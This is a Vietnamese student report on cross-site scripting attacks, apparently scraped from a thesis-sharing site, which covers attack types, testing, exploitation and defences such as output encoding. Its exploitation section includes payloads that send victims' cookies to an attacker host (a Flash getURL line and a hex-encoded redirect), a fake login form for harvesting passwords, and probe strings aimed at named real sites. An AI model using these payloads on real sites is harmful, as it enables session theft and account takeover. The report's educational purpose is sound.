Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 28 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
28
Dung lượng
1,26 MB
Nội dung
HỌC VIỆN CƠNG NGHỆ BƢU CHÍNH VIỄN THƠNG CƠ SỞ TP.HCM AN NINH MẠNG BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG KỸ THUẬT TẤN CÔNG XSS Giảng viên hướng dẫn : ThS LÊ PHÚC Sinh viên thực : TRẦN ĐÌNH NGỌC MãSV: 407170045 Lớp : D07THM1 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG Mục lục I GIỚI THIỆU CHUNG II GIỚI THIỆU VỀ XSS Tìm hiểu XSS Hai hình thức tồn XSS 2.1 Stored XSS 2.2 Reflected XSS Mức độ nguy hiểm XSS Mục tiêu mà XSS hƣớng tới III.HOẠT ĐỘNG CỦA XSS IV.CẢNH GIÁC VỚI XSS 12 V KIỂM TRA LỖI XSS 14 Sử dụng Tool 14 Thử Code 14 VI KHAI THÁC LỖI XSS 16 1.Tóm tắt bƣớc thực 17 Các cách thực 18 2.1 Nghiên cứu cách lấy cookies: 18 2.2.Nghiên cứu cách lấy account 18 2.3 Tấn Công XSS Bằng Flash 19 Attacker dùng XSS để lừa đảo 22 Cách vƣợt qua chế lọc ký tự 22 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG VII PHÒNG CHỐNG XSS 23 Với liệu ngƣời thiết kế phát triển ứng dụng Web 23 Đối với ngƣời dùng 26 VIII PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƢƠNG PHÁP TẤN CƠNG BẰNG XSS 27 IX ĐÁNH GIÁ 27 TÀI LIỆU THAM KHẢO: 28 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG I GIỚI THIỆU CHUNG Website ngày phức tạp thƣờng web động, nội dung web đƣợc cập nhật thông qua thành viên tham gia khắp nơi giới Và hầu hết website dùng Cookie để xác thực ngƣời dùng Điều đồng nghĩa với việc Cookie ngƣời dùng, Nếu lấy đƣợc Cookie ngƣời dùng Hacker giả mạo đƣợc ngƣời dùng đó(điều nguy hiểm) Vậy để hacker lấy cookie bạn? Có nhiều cách để hacker làm việc đó, tơi xin trình bày cách mà hacker thƣờng dùng, họ nhờ vào lỗi Cross Site Scripting(XSS) Cross-Site Scripting (XSS) kĩ thuật công phổ biến nay, đồng thời vấn đề bảo mật quan trọng nhà phát triển web ngƣời sử dụng web Bất kì website cho phép ngƣời sử dụng đăng thơng tin mà khơng có kiểm tra chặt chẽ đoạn mã nguy hiểm tiềm ẩn lỗi XSS XSS đƣợc thực thẻ JavaScript, thẻ JavaScript chúng làm đƣợc công việc sau: Thay đổi cấu trúc toàn trang web Tạo tùy ý phần tử HTML Định tuyến lại hình thức liên kết Phục hồi liệu, xác thực Gửi nhận liệu Đọc tổ hợp phím LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG II GIỚI THIỆU VỀ XSS Tìm hiểu XSS Cross-Site Scripting hay đƣợc gọi tắt XSS (thay gọi tắt CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet HTML) kĩ thuật công cách chèn vào website động (ASP, PHP, CGI, JSP ) thẻ HTML hay đoạn mã script nguy hiểm có khả đánh cắp hay thiết lập đƣợc thông tin quan trọng nhƣ cookies, mật khẩu, usename… Trong đó, đoạn mã nguy hiểm đựơc chèn vào hầu hết đƣợc viết Client-Site Script nhƣ JavaScript, JScript, DHTML thẻ HTML Phƣơng pháp không nhằm vào máy chủ hệ thống mà chủ yếu công máy ngƣời sử dụng Hacker lợi dụng kiểm tra lỏng lẻo từ ứng dụng hiểu biết hạn chế ngƣời dùng nhƣ biết đánh vào tò mò họ dẫn đến ngƣời dùng bị thông tin cách dễ dàng Thông thƣờng hacker lợi dụng địa URL để đƣa liên kết tác nhân kích hoạt đoạn chƣơng trình đƣợc viết ngơn ngữ máy khách nhƣ VBScript, JavaScript…đƣợc thực thi trình duyệt nạn nhân Hai hình thức tồn XSS 2.1 Stored XSS Stored XSS hình thức cơng mà cho phép kẻ cơng chèn đoạn script nguy hiểm (thƣờng Javascript) vào website thơng qua chức (vd: viết lời bình, guestbook, gởi ), để từ thành viên khác truy cập website bị dính mã độc từ kẻ cơng này, mã độc thƣờng đƣợc lƣu lại database website nên gọi Stored Stored XSS phát sinh không lọc liệu thành viên gởi lên cách đắn, khiến cho mã độc đƣợc lƣu vào Database website LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 2.2 Reflected XSS Trong hình thức này, kẻ cơng thƣờng gắn thêm đoạn mã độc vào URL website gởi đến nạn nhân, nạn nhân truy cập URL bị dính mã độc Điều xảy ta không ý filter input từ URL website LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG Tấn công XSS công nguy hiểm, cho phép kẻ công ăn cắp thông tin máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền điều khiển… XSS lỗi phổ biến, có nhiều trang web bị mắc phải lỗi này, ngày có nhiều ngƣời quan tâm đến lỗi Gần đây, theo Brian Krebs tờ Washington Post báo cáo hàng ngàn trang web không an tồn đƣợc xác định vào năm ngối, trang Xssed.com đưa danh sách gần 13.000 trang có nhiều lỗ hổng cross-site scripting (XSS) Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie ngƣời dùng http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E Mức độ nguy hiểm XSS Theo thống kê lỗ hổng bảo mật thƣờng bị công vào năm 2009 LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG Cross-Site Scripting (XSS) chiếm tỉ lệ cao so với phƣơng pháp công khác Kĩ thuật XSS đƣợc mô tả lần cách năm (từ năm 2007 đến 2011) hầu hết khả tiềm ẩn kĩ thuật đƣợc biết đến Tuy nhiên khắc phục đƣợc phần Khơng phải vơ tình mà Yahoo Mail lại để sót lỗi XSS lọc Một phƣơng pháp tối ƣu cịn phía trƣớc Mục tiêu mà XSS hướng tới XSS khai thác thƣờng đƣợc sử dụng để đạt đƣợc kết độc hại sau đây: * Truy cập thông tin nhạy cảm bị hạn chế * Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….) * Theo dõi thói quen lƣớt web ngƣời dùng * Thay đổi trình duyệt * Bôi nhọ danh tiếng cá nhân hay công ty * Hủy hoại ứng dụng Web * Tấn công từ chối dịch vụ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG III.HOẠT ĐỘNG CỦA XSS XSS cho phép attacker chèn đoạn mã vào link đƣờng dẫn, để thực trình duyệt ngƣời dùng, dẫn đến việc cookies, mật khẩu, session hay chèn virus… Thƣờng XSS có dạng nhƣ sau: http://www.xxx.vn//index.php?pg=news&cat=alert(“Lỗi XSS”) Và nội dung xuất trình duyệt popup có thơng tin „Lỗi XSS‟ Ở ví dụ minh họa cách đơn giản thêm đoạn mã vào trang Web thơng qua URL Nhƣng thực có nhiều cách để thêm đoạn mã JavaScript với mục đích cơng kiểu XSS Hacker dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh nội dụng Web ứng dụng Ví dụ 2: Sau danh sách nơi chèn đoạn mã: &[code] &{[code]}; LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 10 [code] [code] <script>[code]</script>; (tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-0515/0) Phần in đậm phần đặt đoạn mã đánh cắp thơng tin Về XSS giống nhƣ SQL Injection hay Source Injection, yêu cầu (request) đƣợc gửi từ máy client tới server nhằm chèn vào thơng tin vƣợt q tầm kiểm sốt server Nó request đƣợc gửi từ form liệu URL nhƣ : http://www.example.com/search.cgi?query=alert('XSS was found !'); Và trình duyệt bạn lên thông báo "XSS was found !" Các đoạn mã thẻ script không bị giới hạn chúng hồn tồn thay file nguồn server khác thơng qua thuộc tính src thẻ script Cũng lẽ mà chƣa thể lƣờng hết đƣợc độ nguy hiểm lỗi XSS Nhƣng nhƣ kĩ thuật cơng khác làm thay đổi đƣợc liệu nguồn web server (mã nguồn, cấu trúc, sở liệu) XSS gây tổn hại đối LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 14 Đó thực chất liên kết ban đầu nhƣng khác đƣợc mã hố Một phần kí tự liên kết đƣợc thay mã HEX nó, tất nhiên trình duyệt bạn hiểu địa thực Bởi bạn gặp phải đoạn mã nguy hiểm nhƣ bạn cảnh giác với XSS Tất nhiên cịn nhiều kiểu cơng khác, có kiểu đƣợc tìm có kiều chƣa lƣờng hết đƣợc, khn khổ viết hi vọng với vài ví dụ vừa rồi, bạn hiểu phần XSS V KIỂM TRA LỖI XSS Nếu nhƣ bạn sử dụng mã nguồn chƣơng trình có sẵn bạn tham khảo danh sách lỗ hổng chƣơng trình bạn trang web chứa thông tin bảo mật nhƣ securityfocus.com, securiteam.com Tuy nhiên website đƣợc tự viết mã nguồn bạn khơng thể áp dụng phƣơng pháp Trong trƣờng hợp bạn cần đến chƣơng trình scanner tự động Nếu nhƣ bạn sử dụng mơi trƣờng Windows bạn dùng N-Stealth hay AppScan, chƣơng trình scan tuyệt, bạn khơng kiểm tra đƣợc lỗi XSS mà cịn cho phép bạn kiểm tra lỗi khác Website đó, Server Tất nhiên đâu phải lúc bạn cần kiểm tra tất cả, nhƣ bạn muốn kiểm tra lỗi XSS có website, bạn cần sử dụng screamingCSS Đó Perl Script mở kết nối tới website (sử dụng Perl's socket) để kiểm tra lỗi XSS bạn Hơn bạn sử dụng mơi trƣờng Unix lẫn Windows Và đưa hai cách sau: Sử dụng Tool Sử dụng nhiều chƣơng trình dị qt lỗi ứng dụng web, ví dụ nhƣ chƣơng trình Web Vulnerability Scanner để dò quét lỗi XSS Thử Code Thực bƣớc: Bước 1: Mở website cần kiểm tra Bước 2: Xác định chỗ (phần) cần kiểm tra XSS Site có LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 15 phần: Search, error message, web form Chủ yếu lỗi XSS nằm phần này, nói chung XSS xảy chỗ mà ngƣời dùng nhập liệu vào sau nhận đƣợc Ví dụ nhập vào chuỗi „XSS‟ Bước 3: Xác minh khả site có bị lỗi XSS hay không cách xem thông tin trả Ví dụ thấy này: „Khơng tìm thấy XSS…‟ , „Tài khoản XSS khơng xác‟, „Đăng nhập với XSS khơng thành cơng‟… khả chỗ bị dính XSS cao Bước 4: Khi xác định chỗ có khả bị dính lỗi XSS chèn đoạn code vào để thử tiếp, ví dụ nhƣ sau: Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi nhấn nút Submit, nhận đƣợc popup có chữ „XSS‟ 100% bị dính XSS Ta nhập vào form lỗi thẻ sau: alert('CSS Vulnerable') &{alert('CSS Vulnerable') }; window.open( “http://www.google.com/” ) Ví dụ 4: Thông báo cho biết chắn web bị lỗi XSS LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 16 Nhƣng xin ý , có trƣờng hợp website bị dính XSS nhƣng khơng xuất popup buộc lịng bạn phải VIEW SOURCES (mổ bụng) để xem Khi view sources nhớ kiếm dòng < script>alert('XSS)< /script> , có chắn website lỗi XSS 100% Gọi http://websitebiloi.com/ site bị dính lỗi XSS ta tìm đƣợc nơi bị lỗi nhƣ : http://websitebiloi.com/index.php?page= nghĩa ta chèn code ADDRESS Bước 5: Lên kế hoạch kịch công VI KHAI THÁC LỖI XSS Khác với lỗi khác gây hại trực tiếp lên hệ thống chứa web site, cịn XSS lại khơng gây hại đến hệ thống sever mà đối tƣợng công chủ yếu XSS lại ngƣời dùng! Ứng dụng Web thƣờng lƣu trữ thông tin quan trọng cookie Cookie mẩu thông tin mà ứng dụng lƣu đĩa cứng ngƣời sử dụng Nhƣng ứng dụng thiết lập cookie đọc Do ngƣời dùng phiên làm việc ứng dụng hacker có hội đánh cắp cookie Công việc hacker tìm trang đích để dụ ngƣời dùng đăng nhập sau tìm lỗ hổng ứng dụng Sau bƣớc khai thác XSS theo truyền thống: LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 17 1.Tóm tắt bước thực Bước 1: Hacker biết đƣợc ngƣời dùng sử dụng ứng dụng Web có lỗ hỏng XSS Bước 2: Ngƣời dùng nhận đƣợc liên kết thông qua email hay trang Web (nhƣ guestbook, banner dễ dàng thêm liên kết hacker tạo ra…) Thông thƣờng hacker khiến ngƣời dùng ý câu kích thích tị mị ngƣời dùng nhƣ “ Kiểm tra tài khoản”, “Một phần thƣởng hấp dẫn chờ bạn”… Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) máy chủ hacker Bước 4: Hacker tạo chƣơng trình cgi (ở ví dụ steal.cgi) trang Web để ghi nhận thông tin đánh cắp vào tập tin Bước 5: Sau nhận đƣợc thông tin cần thiết, hacker sử dụng để thâm nhập vào tài khoản ngƣời dùng LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 18 Các cách thực Để hiểu rõ cơng XSS xem xét ví dụ thực tế sau: 2.1 Nghiên cứu cách lấy cookies: Thứ nhất: Bạn tạo file info.txt upload lên host bạn Thứ hai: Tạo file cookie.asp cookie.php có nội dung sau upload file lên host bạn nhƣ sau: Thứ ba: Trên phần trả lời hay góp ý diễn đàn email website (bị lỗi XSS) để link có lời giới thiệu hay thơng báo gây ý (có hostname trang web bị nhiễm XSS) dạng nhƣ sau : http:// hostxss.com /search.cgi?query=alert(document.cookie) http:// hostxss.com /search.cgi?%71%75 72%69%70%74%3E (đã đƣợc mã hóa) 2.2.Nghiên cứu cách lấy account Thứ nhất: Bạn tạo file info.txt upload lên host bạn Thứ hai: Tạo thêm file xss.js upload file lên host bạn: File để tạo facesite (trang web giả giống trang web thật) để ngƣời dùng nhập username password điều hƣớng lƣu thông tin file info.txt LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 19 document.body.innerHTML=„ Thông tin đăng nhập Tên đăng nhập:Mật khẩu: ' Thứ ba: Chúng ta để link có lời giới thiệu hay thơng báo gây ý (có hostname trang web bị nhiễm XSS) Khi tạo link dạng nhƣ sau gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào) http:// hostxss.com /search.php?s="> Khi bên phía ngƣời dùng có trang web giả mạo(face site): Ngƣời dùng khơng phát đăng nhập cookie hay usename password đƣợc lƣu lại file info.txt server hacker 2.3 Tấn Công XSS Bằng Flash Ngồi cách đƣa đoạn mã nguy hiểm hacker cịn lợi dụng tập tin flash để đánh cắp thông tin Macromedia Flash cho phép lập trình ngơn ngữ kịch đƣợc xây dụng sẵn Flash ActionScript ActionScript có cú pháp đơn giản tƣơng tự nhƣ JavaScript, C hay PERL Ví dụ hàm getURL() dùng để gọi trang web khác, tham số thƣờng URL chẳng hạn nhƣ “http://www.yahoo.com” Ví dụ 5: getURL(“http://www.yahoo.com”) Tuy nhiên thay URL JavaScript: getURL(“javascript:alert(document.cookie)”) LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 20 Ví dụ làm xuất bảng thông báo chứa cookie trang web chứa tập tin flash Nhƣ trang web bị cơng, cách chèn đoạn JavaScript vào ứng dụng Web thông qua tập tin flash Một ví dụ khác rõ cách công là: Đây đoạn lệnh tập tin flash đƣợc thi hành tập tin flash đƣợc đọc: getURL(“javascript:location(„http://www.attacker.com?newcookie=‟+do cument.cookie)”) Nhƣ ngƣời dùng xem trang web chứa tập tin flash cookie họ trang web chứa tập tin flash tạo gửi cho hacker Cách viết Action Scipt Flash DeviantArt trang web tiếng, cho phép thành viên gửi tập tin flash lên cho thành viên xem Vì hacker ăn cắp cookie thành viên tài khoản ngƣời quản trị web, cách đăng kí làm thành viên ứng dụng Web này, gửi tập tin flash lên máy chủ đợi nạn nhân xem tập tin flash Dƣới địa liên kết dến tập tin flash nhƣ trình bày ví dụ http://www.deviantart.com/deviation/1386080 Ngồi trang web cho phép thành viên gửi liệu dạng HTML nhƣ diễn đàn, chức tạo chữ kí riêng, … mục tiêu cách công này, cách nhập đoạn mã gọi tập tin flash vào LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 22 Attacker dùng XSS để lừa đảo Ngoài việc lấy cookies, attacker cịn hƣớng trình duyệt ngƣời dùng đến trang web mà Attacker thiết kế sẵn! Sau attacker có thơng tin lỗi XSS, họ dùng IFRAME, code nhƣ sau: ( đoạn dùng để mở trang web mà ngƣời không biết!) Ngoài bạn hoàn tồn dùng hàm open, close window để chuyển hƣớng web sang trang web khác bạn muốn Còn cách hay : Dùng hàm write In thẻ div đặt độ rộng 1024, cao 800 possion : absulitly, left=0, top=0 Nhƣ div vừa tạo che tồn hình, ngƣời dùng vào trang lừa đảo attacker! Attacker lợi dụng lỗi để fishing Hệ thống tốn, game, shopping, Ngân hàng, Tín dụng chèn virus! Cách vượt qua chế lọc ký tự Nhiều coder khôn khéo lọc hết kỹ tự đặc biệt nhƣ ' hay + để tránh việc chèn lệnh URL để công SQL hay XSS nhƣng attacker cao tay dễ dàng giải việc cách sử dụng mã hóa HEX thay để khai thác Hex Usage: http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70% 74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e% LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 23 3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63 %75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%6 3%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d% 65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72 %69%70%74%3e link site chuyển đổi sang số HEX: http://www.swingnote.com/tools/txt2hex.php http://ha.ckers.org/xss.html VII PHÒNG CHỐNG XSS Nhƣ đề cập trên, công XSS thực đƣợc gửi trang web cho trình duyệt web nạn nhân có kèm theo mã script độc kẻ công Ngƣời ta không lƣờng hết đƣợc mức độ nguy hiểm XSS nhƣng khơng q khó khăn để ngăn ngừa XSS Có nhiều cách để giải vấn đề OWASP (The Open Web Application Standard Project) nói để xây dựng website bảo mật cao đảm bảo trang phát sinh động không chứa tag script, liệu ngƣời sử dụng bạn nên làm việc sau: Với liệu người thiết kế phát triển ứng dụng Web Những liệu, thông tin nhập ngƣời dùng, ngƣời thiết kế phát triển ứng dụng Web cần phải thực vài bƣớc sau: Chỉ chấp nhận liệu hợp lệ LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 24 Từ chối nhận liệu hỏng Liên tục kiểm tra lọc liệu Tạo danh sách thẻ HTML đƣợc phép sử dụng, xóa bỏ thẻ đóng thẻ Script thẻ coi đoạn Script nhƣ đoạn trích dẫn thơi Lọc đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related Lọc dấu nháy đơn hay kép Lọc kí tự Null Xóa kí tự “ > ”, “ < ” Output Encoding dòng nhƣ sau < < > > ( ( ) ) # # & & Vẫn cho phép nhập kí tự đặc biệt nhƣng đƣợc mã hóa theo chuẩn riêng Mã hóa Lỗi XSS tránh đƣợc máy chủ Web đảm bảo trang phát sinh đƣợc mã hóa (encoding) thích hợp để ngăn chạy chạy script khơng mong muốn Mã hóa phía máy chủ tiến trình mà tất nội dung phát sinh động qua hàm mã hóa nơi mà thẻ script đƣợc thay thể mã Nói chung, việc mã hóa(encoding) đƣợc khuyến khích sử dụng khơng u cầu bạn phải đƣa định kí tự hợp lệ khơng hợp lệ.Tuy nhiên việc mã hóa tất liệu khơng đáng tin cậy tốn tài nguyên ảnh hƣởng đến khả thực thi số máy chủ Tuy nhiên thực tế, số trƣờng hợp bạn phải chấp nhận loại liệu hay khơng có lọc phù hợp Chính bạn phải có cách riêng để giải Một cách hay sử dụng bạn mã hoá kí tự đặc biệt trƣớc in website, gây nguy hiểm cho ngƣời sử dụng Trong LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 25 trƣờng hợp thẻ script đƣợc đổi thành script Nhƣ đƣợc in hình mà khơng gây nguy hiểm cho ngƣời sử dụng Tơi lấy ví dụ với script search.cgi với mã nguồn là: #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $query = $cgi->param('query'); print $cgi->header(); print "You entered $query"; Đây hoàn toàn script có lỗi in trực tiếp liệu đƣợc nhập vào Dĩ nhiên in ra, in dƣới dạng đoạn mã HTML, nhƣ khơng khơng in xác liệu vào cách trực quan mà cịn có tiềm ẩn lỗi XSS Nhƣ nói trên, để giải vấn đề này, mã hố kí tự đặc biệt HTML với hàm HTML::Entities::encode() Nhƣ ta có mã nguồn hoàn hảo nhƣ sau: #!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new(); my $text = $cgi->param('text'); print $cgi->header(); print "You entered ", HTML::Entities::encode($text); Tất nhiên với phƣơng pháp bạn áp dụng ngôn ngữ Web Application khác (ASP, PHP ) Để kiểm tra việc lọc mã hoá liệu trƣớc in ra, bạn dùng chƣơng trình đƣợc viết ngơn nhữ PHP, đặc biệt đƣợc thiết kế để phịng chống lỗi XSS Bạn lấy mã nguồn chƣơng LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 26 trình từ http://www.mricon.co /phpfilter.html Lọc mã hoá liệu cho vấn cách tốt để chống XSS nhƣng bạn sử dụng mod_perl Apache Server bạn dùng module Apache::TaintRequest Khi mã nguồn chƣơng trình có dạng: use Apache::TaintRequest; my $apr = Apache::TaintRequest->new(Apache->request); my $text = $apr->param('text'); $r->content_type("text/html"); $r->send_http_header; $text =~ s/[^A-Za-z0-9 ]//; $r->print("You entered ", $text); Đối với người dùng Cần cấu hình lại trình duyệt để nhắc nhở ngƣời dùng có cho thực thi ngơn ngữ kịch máy họ hay không? Tùy vào mức độ tin cậy mà ngƣời dùng định Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript - kiểm sốt script từ web Dùng IE ta vào Options/Setting / Disable Script Tƣơng tự với Google Chrome trình duyệt khác Khi vào trang web ta cần phải cân nhắc click vào link, với email cần phải kiểm tra link hay hình ảnh quảng cáo thật kĩ Và tóm lại an tồn có cảnh giác cao LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 27 VIII PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƯƠNG PHÁP TẤN CƠNG BẰNG XSS Mã JavaScript độc truy cập thơng tin sau đây: • Cookie cố định (của site bị lỗi XSS) đƣợc trì trình duyệt • RAM Cookie (của site bị lỗi XSS) • Tên tất cửa sổ đƣợc mở từ site bị lỗi XSS • Bất thơng tin mà truy cập đƣợc từ DOM (nhƣ value, mã HTML…) Trong thời gian vừa qua ta thấy phƣơng pháp công vào lỗi XSS trang web nằm số cao sau SQL Injection Cho nên phƣơng pháp công XSS đƣợc coi nhƣ khả thi để thực việc cơng cịn rộng rãi IX ĐÁNH GIÁ Các hiểm họa môi trường Internet Kĩ thuật XSS phổ biến dễ dàng áp dụng, mức độ thiệt hại chúng gây hậu q nghiêm trọng Vì thế, ngồi việc ứng dụng kiểm tra LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com AN NINH MẠNG 28 tính đắn liệu trƣớc sử dụng việc cần ngƣời dùng nên cảnh giác trƣớc bƣớc vào trang Web hay nhận đƣợc email thu hút Có thể nói, nhờ vào cảnh giác ngƣời dùng 90% đạt đƣợc bảo mật kĩ thuật TÀI LIỆU THAM KHẢO: Security - 2009 - Network security guide – COMPTIA Security - 2010 - deadliest attacks - Web app Bảo vệ website – Nhóm SV ĐH Bách Khoa TP.HCM http://ha.ckers.org/xss.html http://www.hungry-hackers.com/2010/09/xss-cross-site-scripting-attack.html http://vibe.vn/threads/35350/ https://www.owasp.org/index.php/XSS LUAN VAN CHAT LUONG download : add luanvanchat@agmail.com ... THIỆU VỀ XSS Tìm hiểu XSS Hai hình thức tồn XSS 2.1 Stored XSS 2.2 Reflected XSS Mức độ nguy hiểm XSS Mục tiêu mà XSS hƣớng... GIÁC VỚI XSS Có lẽ không cần liệt kê nguy hiểm XSS, nhƣng thực tế bạn có chút hiểu biết XSS bạn khơng cịn phải sợ chúng Thật bạn hồn tồn tránh khỏi việc bị công lỗi XSS hiểu kĩ Các thẻ HTML công. .. luanvanchat@agmail.com AN NINH MẠNG Tấn công XSS công nguy hiểm, cho phép kẻ công ăn cắp thông tin máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền điều khiển… XSS lỗi phổ biến,